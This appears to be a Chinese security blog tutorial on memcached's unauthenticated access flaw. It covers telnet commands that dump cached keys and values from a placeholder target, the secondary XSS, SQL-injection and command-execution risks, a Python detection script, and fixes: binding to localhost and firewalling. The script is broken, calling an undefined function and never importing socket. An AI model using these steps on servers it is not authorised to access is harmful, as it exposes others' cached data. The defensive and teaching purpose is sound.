MEMCACHE未授权访问漏洞利用及修复

memcache是国外社区网站Live Journal的开发团队开发的高性能的分布式内存缓存服务器。

一般的使用目的是,通过缓存数据库查询结果,减少数据库访问次数,以提高动态Web应用的速度、提高扩展性。

memcache的默认端口是11211,不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。

漏洞验证:

利用Telnet探测目标11211端口

telnet XX.XX.XX.XX 11211

显示连接成功后,输入stats

stats //查看memcache服务状态
MEMCACHE未授权访问漏洞利用及修复_第1张图片 MEMCACHE未授权访问漏洞利用及修复_第2张图片

读出缓存状态

stats items //查看所有items
MEMCACHE未授权访问漏洞利用及修复_第3张图片 MEMCACHE未授权访问漏洞利用及修复_第4张图片
stats cachedump 39 0 //获得缓存key

get :state:264861539228401373:261588 //通过key读取相应value ,获得实际缓存内容,造成敏感信息泄露


memcached是一套分布式的高速缓存系统。它以Key-Value(键值对)形式将数据存储在内存中,这些数据通常是应用读取频繁的。正因为内存中数据的读取远远大于硬盘,因此可以用来加速应用的访问。

Memcache安装

1、下载Mencache的windows稳定版,解压放某个盘下面

2、在cmd命令界面)下输入 ‘memcached.exe -d install’ 进行安装

3、 启动 memcached.exe -d start。NOTE: 以后memcached将作为windows的一个服务每次开机时自动启动。这样服务器端已经安装完毕了。

漏洞成因:

由于memcached安全设计缺陷,客户端连接memcached服务器后无需认证就可读取、修改服务器缓存内容。

漏洞影响:

除memcached中数据可被直接读取泄漏和恶意修改外,由于memcached中的数据像正常网站用户访问提交变量一样会被后端代码处理,当处理代码存在缺陷时会再次导致不同类型的安全问题。
 不同的是,在处理前端用户直接输入的数据时一般会接受更多的安全校验,而从memcached中读取的数据则更容易被开发者认为是可信的,或者是已经通过安全校验的,因此更容易导致安全问题。

由此可见,导致的二次安全漏洞类型一般由memcached数据使用的位置(XSS通常称之为sink)的不同而不同,如:

(1)缓存数据未经过滤直接输出可导致XSS;

(2)缓存数据未经过滤代入拼接的SQL注入查询语句可导致SQL注入;

(3)缓存数据存储敏感信息(如:用户名、密码),可以通过读取操作直接泄漏;

(4)缓存数据未经过滤直接通过system()、eval()等函数处理可导致命令执行;

(5)缓存数据未经过滤直接在header()函数中输出,可导致CRLF漏洞(HTTP响应拆分)。

 … …

Python未授权访问脚本

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
def Memcache_check(ip, port=11211, timeout=5):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("stats\r\n")
        result = s.recv(1024)
        if "STAT version" in result:
            print '[+] Memcache Unauthorized: ' +ip+':'+str(port)
    except Exception, e:
        pass
if __name__ == '__main__':
    Elasticsearch_check("127.0.0.1")

漏洞修复:

1、配置memcached监听本地回环地址127.0.0.1。

        [root@local ~]# vim /etc/sysconfig/memcached
        OPTIONS="-l 127.0.0.1"  #设置本地为监听

        [root@local ~]# /etc/init.d/memcached restart #重启服务

2、当memcached配置为监听内网IP或公网IP时,使用主机防火墙(iptalbes、firewalld等)和网络防火墙对memcached服务端口进行过滤。

你可能感兴趣的:(web安全,memcached,服务器,数据库)